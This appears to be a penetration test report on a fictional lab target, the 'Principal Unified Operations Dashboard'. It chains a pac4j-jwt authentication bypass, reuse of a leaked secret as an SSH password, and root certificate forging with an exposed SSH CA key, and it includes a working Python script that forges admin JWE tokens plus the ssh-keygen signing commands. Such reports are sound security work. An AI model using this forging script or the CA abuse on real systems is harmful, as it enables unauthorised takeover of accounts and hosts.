A. Statement of Confidentiality

The contents of this document have been prepared by **Red Team Security Services** for the exclusive use of **Principal Technologies Pvt. Ltd.** The information contained herein is considered confidential and proprietary and is intended solely for the purpose of communicating the results of the security assessment described in this report.

This document, in whole or in part, shall not be disclosed, reproduced, copied, distributed, or communicated to any third party without the prior written consent of both Principal Technologies Pvt. Ltd. and Red Team Security Services, except where required by applicable law or contractual obligation.

The contents of this report do not constitute legal advice. Any observations, findings, or recommendations relating to regulatory compliance, litigation, or other legal matters are provided solely from an information security perspective and should not be interpreted as legal counsel.

Disclaimer: The assessment documented in this report was conducted against a fictional organization and intentionally vulnerable training environment for educational and portfolio purposes. Any company names, infrastructure, credentials, domains, IP addresses, or personnel referenced within this report are fictional or used solely within an authorized laboratory environment. This report must not be interpreted as evidence of vulnerabilities affecting any real organization.

B. Engagement Contacts

Client Contacts	**Title**	**Email Address**
Michael Anderson	Chief Information Security Officer	michael.anderson@principal.htb
Jennifer Carter	Infrastructure Manager	jennifer.carter@principal.htb
Daniel Thompson	DevOps Lead	daniel.thompson@principal.htb
Assessment Team	**Role**	**Email Address**
Alexander Carter	Lead Penetration Tester	alex.carter@redteamsecurity.example
Sarah Mitchell	Senior Security Consultant	sarah.mitchell@redteamsecurity.example
David Wilson	Technical Reviewer	david.wilson@redteamsecurity.example

C. Document Control

Date	**Version**	**Description**	**Author / Reviewer**
16 June 2026	0.1	Initial Draft	Alexander Carter
18 June 2026	0.2	Technical QA & Review	David Wilson
20 June 2026	1.0	Final Report Delivered	Alexander Carter

D. Table of Contents

E. Executive Summary

Principal Technologies Pvt. Ltd. ("Principal" herein) contracted **Red Team Security Services** to perform a Web Application Penetration Test of the **Principal Unified Operations Dashboard**. The objective of this assessment was to identify security weaknesses, evaluate their potential impact on the confidentiality, integrity, and availability of the application and supporting infrastructure, document all findings in a clear and reproducible manner, and provide practical remediation recommendations.

E.1. Approach

Red Team Security Services performed testing under a **Black Box** methodology between **14 June 2026** and **16 June 2026**. The assessment was conducted without valid user credentials or prior knowledge of the application's internal implementation. Testing was performed remotely from Red Team Security Services' assessment environment and focused on identifying vulnerabilities that could be exploited by an external attacker.

All identified findings were manually validated to eliminate false positives and to determine the practical impact of successful exploitation. Where appropriate, exploitation was extended to demonstrate the maximum achievable impact, including authentication bypass, privilege escalation, and compromise of the underlying operating system.

This assessment was performed following industry-standard best practices, including guidance from the OWASP Web Security Testing Guide (WSTG). Testing activities were focused on identifying vulnerabilities within the identified attack surface and evaluating the business risk associated with each finding.

E.2. Scope

The scope of this assessment consisted of the following application and supporting infrastructure.

Host / URL / IP Address	Description
`http://10.129.244.220:8080`	Principal Unified Operations Dashboard
`10.129.244.220`	Supporting Linux Server

E.3. Assessment Overview and Recommendations

During the assessment, Red Team Security Services identified **four** security findings affecting the target environment. These consisted of **one Critical**, **one High**, and **two Medium** severity vulnerabilities. No Low or Informational findings were identified.

The most significant finding was an authentication bypass vulnerability affecting the application's JWT authentication implementation, allowing unauthenticated attackers to forge administrative sessions. Successful exploitation enabled access to sensitive administrative functionality, disclosure of internal configuration information, compromise of a deployment service account through credential reuse, and ultimately privilege escalation to the `root` user via a misconfigured SSH certificate authentication mechanism.

The identified vulnerabilities demonstrate how individually remediable weaknesses can be chained together to achieve complete compromise of both the application and the underlying host. Although several findings require prior access obtained through earlier vulnerabilities, each represents a distinct security issue that should be addressed independently.

Principal Technologies Pvt. Ltd. should prioritize remediation of the Critical and High severity findings, followed by the Medium severity findings. Particular attention should be given to updating vulnerable third-party components, eliminating sensitive information disclosure, implementing secure secrets management practices, and correcting SSH certificate authentication configuration. After remediation activities have been completed, a follow-up penetration test is recommended to verify that the identified vulnerabilities have been successfully resolved and that no additional security weaknesses have been introduced.

F. Web Application Penetration Test Assessment Summary

Red Team Security Services conducted all testing activities from the perspective of an unauthenticated external

user interacting with the Principal Unified Operations Dashboard. No valid credentials, source code, architecture documentation, or implementation details were provided prior to the assessment.

Testing was performed using a Black Box methodology with the objective of identifying vulnerabilities that could be exploited by an external attacker to gain unauthorized access, disclose sensitive information, escalate privileges, or compromise the underlying infrastructure. Where practical, identified vulnerabilities were manually validated and chained together to demonstrate their real-world impact.

F.1. Summary of Findings

During the course of testing, Red Team Security Services identified a total of four security findings that pose a material risk to Principal Technologies Pvt. Ltd.'s application and supporting infrastructure. These findings consisted of **one Critical**, **one High**, and **two Medium** severity vulnerabilities. No Low or Informational findings were identified.

The figure below illustrates the distribution of identified vulnerabilities by severity.

Distribution of Identified Vulnerabilities

Below is a high-level overview of each finding identified during testing. These findings are covered in depth in the Technical Findings Details section of this report.

#	Severity	Finding	Reference
1	**9.1 (Critical)**	Authentication Bypass in pac4j-jwt (CVE-2026-29000)	View Detail
2	**5.3 (Medium)**	Sensitive Information Disclosure via Client-Side JavaScript	View Detail
3	**4.9 (Medium)**	Exposure of Cleartext Credentials Leading to SSH Account Compromise	View Detail
4	**7.8 (High)**	Insecure Storage of CA Private Key and Improper Principal Validation	View Detail

G. Attack Chain Walkthrough

During the assessment, Red Team Security Services successfully demonstrated a complete compromise of the target environment by chaining together multiple vulnerabilities. The attack originated from an unauthenticated external attacker and concluded with full `root` access to the underlying Linux server.

While each finding is documented independently within the Technical Findings Details section, this walkthrough illustrates how the individual weaknesses combined to achieve complete host compromise.

G.1. Attack Chain Summary

The following attack path was successfully executed:

1. Enumerate the target application and identify the exposed `pac4j-jwt` version from the HTTP response headers.
2. Review the publicly accessible JavaScript bundle (`/static/js/app.js`) to obtain authentication implementation details, including the token format, cryptographic algorithms, and authorization model.

3. Identify the affected authentication bypass vulnerability (**CVE-2026-29000**) impacting the disclosed library version.
4. Exploit the authentication bypass vulnerability, utilizing the gathered implementation details, to obtain administrative access to the application.
5. Enumerate the administrative dashboard and recover sensitive configuration information, including the `encryptionKey` value.
6. Reuse the disclosed secret as the password for the `svc-deploy` service account to obtain SSH access.
7. Continue enumerating the administrative dashboard and identify the configured SSH Certificate Authority path (`/opt/principal/ssh/`).
8. Abuse the SSH certificate authentication misconfiguration by issuing a certificate for the `root` principal.
9. Authenticate using the forged SSH certificate and obtain full `root` access to the underlying operating system.

G.2. Detailed Walkthrough

The assessment began with passive reconnaissance of the externally accessible application. HTTP response headers disclosed the authentication framework and version in use, allowing identification of a publicly known authentication bypass vulnerability affecting the deployed software.

Further reconnaissance of publicly accessible client-side JavaScript exposed implementation details relating to authentication, authorization, token handling, and application roles. Although these details did not independently compromise the application, they significantly reduced the effort required to develop and validate a working exploit.

Successful exploitation of the authentication bypass granted administrative access to the application without valid credentials. Administrative functionality exposed additional sensitive configuration information, including a value labeled `encryptionKey`, which was successfully reused as the password for the `svc-deploy` service account, providing SSH access to the underlying host.

Continued enumeration of the administrative interface disclosed the location of the trusted SSH Certificate Authority. From the compromised `svc-deploy` account, the CA was accessible and could be used to issue SSH certificates. Due to improper validation of SSH certificate principals, a certificate containing the `root` principal was accepted by the SSH service, resulting in full administrative control of the operating system.

This attack chain demonstrates how several individually remediable weaknesses—including technology disclosure, information disclosure, authentication bypass, insecure secret management, and SSH certificate misconfiguration—can be combined to achieve complete compromise of the target environment.

H. Technical Findings Details

H.1. Authentication Bypass in pac4j-jwt (CVE-2026-29000) - Critical

Attribute	Details
CWE	CWE-347 - Improper Verification of Cryptographic Signature
CVSS 3.1	9.1 / CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Root Cause	The root cause of **CVE-2026-29000** is a missing return-value validation within the `pac4j-jwt` library's `JwtAuthenticator` when processing nested tokens. After decrypting an outer JWE envelope, the library attempts to verify the inner payload by calling the `nimbus-jose-jwt` method `toSignedJWT()`. If an attacker supplies a `PlainJWT` (utilizing the `alg: none` header), this method inherently returns a `null` value. Because `pac4j-jwt` fails to perform a null check on this response or explicitly enforce that a cryptographic signature was evaluated, the verification routine is silently bypassed, causing the application to fully trust and process the unverified claims.
Impact	• **Complete Authentication Bypass and Account Takeover:** An unauthenticated remote attacker can completely circumvent authentication controls to forge session tokens. This allows the attacker to impersonate highly privileged users, including application administrators (`admin`), without possessing valid credentials. • During this assessment, exploitation of this vulnerability enabled access to sensitive configuration data and service account credentials, as documented in Findings H.2 and H.3.
Affected Component	Principal's Unified Operations Dashboard on Port `8080`
Remediation	• The target application is currently running `org.pac4j:pac4j-jwt` version `6.0.3`. To permanently remediate this vulnerability, upgrade this dependency to the fully patched release, version `6.3.3` or later. This update corrects the internal parsing logic to ensure cryptographic signatures are strictly verified, even when wrapped in a JWE envelope. • To secure the application layer temporarily, audit the JwtAuthenticator configuration to strictly reject unsigned tokens, mandate a pre-approved algorithm like RS256, and disable the vulnerable JWE code path entirely if unused.
References	• https://nvd.nist.gov/vuln/detail/CVE-2026-29000

Steps to Reproduce

a. Create the Exploit Script

Copy the custom Proof-of-Concept (PoC) generator script provided in **Appendix J.5** and save it to your local testing environment as `generate.py`. Ensure the required dependencies (such as the `jwcrypto` library) are installed:

```
pip install jwcrypto
```

b. Generate the Forged Token

Execute the script from the terminal to generate a forged JWE token.

```
python3 generate.py
```

Note: The script will output a JWE token string to the console. Copy this string to your clipboard.

c. Inject the Token via Developer Tools

Navigate to the target application's login page using a standard web browser. Do not submit any credentials. Instead, open the browser's Developer Tools (typically `F12` or `Ctrl+Shift+I`) and navigate to the Console tab.

Paste the required JavaScript payload into the console, substituting your generated token, and press Enter to force an authenticated session:

```
// Example injection payload (replace the token value with your output from Step b)
sessionStorage.setItem('auth_token', '<PASTE_JWE_TOKEN_HERE>');
location.href = '/dashboard';
```

d. Verify Access

Observe that the application accepts the forged token, redirects to `/dashboard` , and grants authenticated access without requiring a standard login flow.

Successful Dashboard Access

H.2. Sensitive Information Disclosure via Client-Side JavaScript - Medium

Attribute	Details
CWE	CWE-200 - Exposure of Sensitive Information to an Unauthorized Actor
CVSS 3.1	5.3 / CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Root Cause	Production JavaScript assets include excessive authentication and authorization implementation details, developer comments, and internal endpoint information due to insufficient production build hardening.
Impact	During this assessment, the disclosed information materially assisted exploitation of the separately reported authentication bypass (**CVE-2026-29000**) by reducing the effort required to understand the token structure, authentication workflow, and privilege model.
Remediation	Remove unnecessary implementation details and developer comments from production JavaScript bundles. Ensure build pipelines strip comments, debugging information, and unused code from client-side assets prior to deployment.
Affected Component	Publicly Accessible Client-side JavaScript (`/static/js/app.js`)
References	• CWE-200 - Exposure of Sensitive Information to an Unauthorized Actor • OWASP ASVS V14 (Configuration) • OWASP Secure Coding Practices

Finding Evidence

a. Publicly Accessible JavaScript Resource

The application's page source references a publicly accessible JavaScript bundle (`/static/js/app.js`), which can be accessed without authentication.

Page source highlighting the app.js reference.

b. Authentication Implementation Details Exposed

Accessing the JavaScript bundle reveals authentication and authorization implementation details, including the authentication flow, JWT/JWE token handling, role definitions, and internal API endpoints.

Contents of app.js showing the exposed authentication-related information.

H.3. Exposure of Cleartext Credentials Leading to SSH Account Compromise - Medium

Attribute	Details
CWE	CWE-522 - Insufficiently Protected Credentials
CVSS 3.1	4.9 / CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
Root Cause	The application exposes sensitive configuration values in cleartext within the administrative interface. A secret labeled `encryptionKey` was disclosed to authenticated administrators and was found to be reused as a valid password for the `svc-deploy` service account.
Impact	During the assessment, the disclosed secret was successfully reused to authenticate to the network-facing SSH service as the `svc-deploy` account, resulting in operating system access. Successful exploitation increases the risk of lateral movement, unauthorized command execution, and compromise of deployment infrastructure.
Affected Component	Administrative Settings, Service Account (`svc-deploy`), Network-facing SSH Service (TCP/22).
Remediation	Remove sensitive secrets from the administrative interface. Store cryptographic keys and credentials in a secure secrets management solution (e.g., HashiCorp Vault, AWS Secrets Manager, Azure Key Vault). Ensure cryptographic keys are never reused as authentication credentials. Rotate the exposed secret immediately, assign unique credentials for each service, and restrict SSH access to trusted management networks where possible.
References	• CWE-522: Insufficiently Protected Credentials • OWASP Secrets Management Cheat Sheet • OWASP ASVS v5 Credential Security section

Steps to Reproduce

a. Obtain administrative access from Finding `H.1` and `H.2`

b. Navigate to **Settings** and observe the value of the `encryptionKey` configuration parameter. encryptionKey Value Exposure

c. Navigate to **Users** and identify the deployment service account.

User LIst on Target

d. Attempt SSH authentication using the disclosed `encryptionKey` value as the password for the `svc-deploy` account.

Successful SSH Access

Authentication is successful, confirming that the disclosed secret is reused as a valid SSH credential.

H.4. Insecure Storage of CA Private Key and Improper Principal Validation - High

Attribute	Details
CWE	CWE-287 - Improper Authentication / CWE-312 - Cleartext Storage of Sensitive Information
CVSS 3.1	7.8 / CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Root Cause	The SSH Certificate Authority (CA) private key is stored with overly permissive file permissions, allowing read access by the `developers` group. Furthermore, the SSH server is configured to trust certificates issued by this CA but lacks an `AuthorizedPrincipalsFile` configuration to properly validate the certificate principal against the authenticating user.
Impact	Because the `svc-deploy` account belongs to the `developers` group, an attacker who compromises this service account can read the CA private key. Due to the lack of principal validation, the attacker can use this private key to generate and sign a new SSH certificate containing a privileged principal (e.g., `root`) and successfully authenticate to the host, resulting in complete system compromise.
Affected Component	OpenSSH Certificate-Based Authentication • SSH daemon (`sshd`) • SSH Certificate Authority (CA) trust configuration.
Remediation	Ensure the SSH CA private key is stored securely (ideally offline or in an HSM) with strict file permissions (`0600`) restricted solely to the root user or dedicated CA management processes. Configure the SSH server to strictly validate certificate principals by implementing the `AuthorizedPrincipalsFile` directive, ensuring privileged accounts like `root` cannot be authenticated via standard developer certificates.
References	• CWE-287 – Improper Authentication • OpenSSH Certificate Authentication Documentation • OWASP ASVS v5 – Authentication Verification Requirements • NIST SP 800-63B – Digital Identity Guidelines

Steps to Reproduce

a. Obtain access to the underlying operating system as the `svc-deploy` user (as detailed in Finding H.3) and enumerate the configured SSH Certificate Authority path identified from the administrative dashboard.

b. Review the directory permissions for `/opt/principal/ssh/`. Observe that the `svc-deploy` user, as a member of the `developers` group, has read access to the CA private key.

Configured SSH CA Path

Accessible SSH CA Directory

c. Generate a new SSH key pair to be used for the exploit.

```
ssh-keygen -t ed25519 -f pentest
```

c. Sign the generated public key using the exposed SSH Certificate Authority, explicitly specifying the `root` principal.

```
ssh-keygen -s /opt/principal/ssh/ca -I pentest -n root -V +1h key.pub
```

The command successfully issues an SSH certificate for the root principal.

d. Authenticate to the target using the signed SSH certificate.

```
ssh -i pentest root@localhost
```

Successful Root Authentication via SSH Certificate

Successful authentication results in a root shell.

I. Remediation Summary

As a result of this assessment, several opportunities were identified to strengthen the security posture of the Principal Unified Operations Dashboard and its supporting infrastructure. Remediation activities have been prioritized based on the overall risk they present and the effort required to reduce the attack surface. Where possible, remediation should be implemented in a staged manner and validated within a non-production environment prior to deployment.

I.1. Short-Term Remediation

The following actions should be prioritized immediately to eliminate the highest-risk attack vectors identified during the assessment.

Finding Reference	Recommendation
H.1.	Upgrade `pac4j-jwt` to version **6.3.3** or later to remediate **CVE-2026-29000**.
H.3.	Rotate the exposed `encryptionKey` and any credentials derived from or reused as authentication secrets.
H.3.	Assign unique credentials to service accounts and prohibit the reuse of cryptographic secrets as authentication credentials.
H.4.	Correct the SSH certificate authentication configuration to enforce proper validation of certificate principals before granting access.
H.4.	Review all privileged SSH certificates and rotate the trusted SSH Certificate Authority if compromise is suspected.

I.2. Medium-Term Remediation

The following improvements will reduce the likelihood of similar attack paths being exploited in the future.

Finding Reference	Recommendation
H.2.	Remove authentication implementation details, developer comments, and unnecessary debugging information from production JavaScript bundles.
H.3.	Remove sensitive configuration values from administrative interfaces unless operationally required.
H.3.	Store cryptographic keys and application secrets within a dedicated secrets management solution rather than application configuration.
H.1. – H.4.	Implement periodic dependency reviews and vulnerability scanning for third-party libraries and frameworks.

I.3. Long-Term Remediation

The following strategic improvements will strengthen the organization's overall security posture.

- Establish a secure software development lifecycle (SSDLC) incorporating secure code reviews and security testing throughout the development process.
- Implement automated Software Composition Analysis (SCA) to identify vulnerable third-party dependencies before deployment.
- Perform periodic web application penetration tests and authenticated security assessments following major application releases.
- Deploy centralized secrets management with automated secret rotation and least-privilege access controls.
- Review privileged access management for service accounts and administrative interfaces to ensure sensitive configuration data is disclosed only on a need-to-know basis.
- Implement continuous security monitoring and logging to detect unauthorized authentication attempts, abnormal privilege escalation, and misuse of administrative functionality.

J. Appendix

J.1. Finding Severities

Each finding identified during the assessment has been assigned a severity rating based on the Common Vulnerability Scoring System (CVSS) v3.1. The assigned rating reflects the potential impact of the vulnerability on the confidentiality, integrity, and availability of the target environment, as well as the relative priority for remediation.

Severity	CVSS v3.1 Score
Critical	9.0 – 10.0
High	7.0 – 8.9
Medium	4.0 – 6.9
Low	0.1 – 3.9
Informational	0.0

J.2. Host & Service Discovery

The following externally accessible services were identified within the assessment scope.

Host / IP Address	Port	Service
`10.129.244.220`	22	SSH
`10.129.244.220`	8080	HTTP (Jetty Web Server)

J.3. Technology Stack

The following technologies were identified during the assessment.

Component	Version / Configuration
Operating System	Linux
Web Server	Jetty 12.x (Embedded)
Java Runtime	21.0.10
Authentication Framework	pac4j-jwt 6.0.3
JWT Algorithm	RS256
JWE Algorithm	RSA-OAEP-256
JWE Encryption	A128GCM
Database	H2 (Embedded)

J.4. Assessment Tools

The following tools were utilized during the assessment.

Tool	Purpose
Nmap	Service Enumeration
Burp Suite Professional	Web Application Testing
curl	HTTP Header Enumeration
OpenSSH	SSH Authentication Testing
ssh-keygen	SSH Key and Certificate Generation
Custom Proof-of-Concept Script	Validation of CVE-2026-29000

J.5. Custom Exploit Scripts

The following Python script was developed to generate the forged JWE token required to exploit the authentication bypass vulnerability described in Finding H.1 (CVE-2026-29000). Note: The cryptographic parameters (jwk_data) utilized in this script were successfully extracted from the publicly accessible JavaScript bundle (app.js) documented in Finding H.2.

```
import base64
import json
import time
from jwcrypto import jwk, jwe

jwk_data = {
    "kty": "RSA",
    "e": "AQAB",
    "kid": "enc-key-1",
    "n": "lTh54vtBS1NAWrxAFU1NEZdrVxPeSMhHZ5NpZX-
WtBsdWtJRaeeG61iNgYsFUXE9j2MAqmekpnyapD6A9dfSANhSgCF60uAZhnpIkFQVKEZday6ZIxoHpuP9zh2
c3a7JrknrTbCPKzX39T6IK8pydccUvRl9zT4E_i6gtoVCUKixFVHnCvBpWJtmn4h3PCPCIOXtbZHAP3Nw7nc
bXXNsrO3zmWXl-GQPuXu5-Uoi6mBQbmm0Z0SC07MCEZdFwoqQFC1E6OMN2G-KRwmuf661-
uP9kPSXW8l4FutRpk6-LZW5C7gwihAiWyhZLQpjReRuhnUvLbG7I_m2PV0bWWy-Fw"
}
publicKey = jwk.JWK(**jwk_data)

def base64url_encode(payload: dict) -> str:
    json_bytes = json.dumps(payload, separators=(',', ':')).encode('utf-8')
    return base64.urlsafe_b64encode(json_bytes).decode('utf-8').rstrip('=')

header = {"alg": "none"}

current_time = int(time.time())
iat = current_time - 300
exp = current_time + 86400

payload = {
    "sub": "admin",
    "role": "ROLE_ADMIN",
    "iss": "principal-platform",
    "iat": iat,
    "exp": exp
}

jwt_string = f"{base64url_encode(header)}.{base64url_encode(payload)}."

protected_header = {
    "alg": "RSA-OAEP-256",
    "enc": "A128GCM",
    "cty": "JWT",
    "kid": "enc-key-1"
}

jwe_token = jwe.JWE(
    plaintext=jwt_string.encode('utf-8'),
    protected=protected_header
)

jwe_token.add_recipient(publicKey)

print(jwe_token.serialize(compact=True))
```

J.6. Changes / Host Cleanup

No persistent changes were made to the target environment during the assessment. No user accounts, services, scheduled tasks, or application configurations were modified. Any SSH keys and certificates generated during testing were created solely for assessment purposes and were not retained on the target system.

The assessment was conducted in a manner intended to minimize operational impact while accurately validating the identified security findings.

K. Glossary of Terms

Term	Definition
CVE	Common Vulnerabilities and Exposures; a unique identifier assigned to a publicly disclosed security vulnerability.
CVSS	Common Vulnerability Scoring System used to measure the severity of security vulnerabilities.
CWE	Common Weakness Enumeration; a standardized classification of software weaknesses.
JWT	JSON Web Token, commonly used for authentication and authorization.
JWE	JSON Web Encryption, used to encrypt JWTs or other JSON-based data.
SSH	Secure Shell, a protocol used for secure remote administration.
SSH Certificate	A certificate signed by an SSH Certificate Authority to authenticate users or hosts.
Certificate Authority (CA)	A trusted entity that issues and signs digital certificates.
PoC	Proof of Concept; code or steps demonstrating successful exploitation of a vulnerability.
Privilege Escalation	The process of obtaining higher levels of access than originally granted.
OWASP	Open Worldwide Application Security Project, an organization that publishes web application security standards and guidance.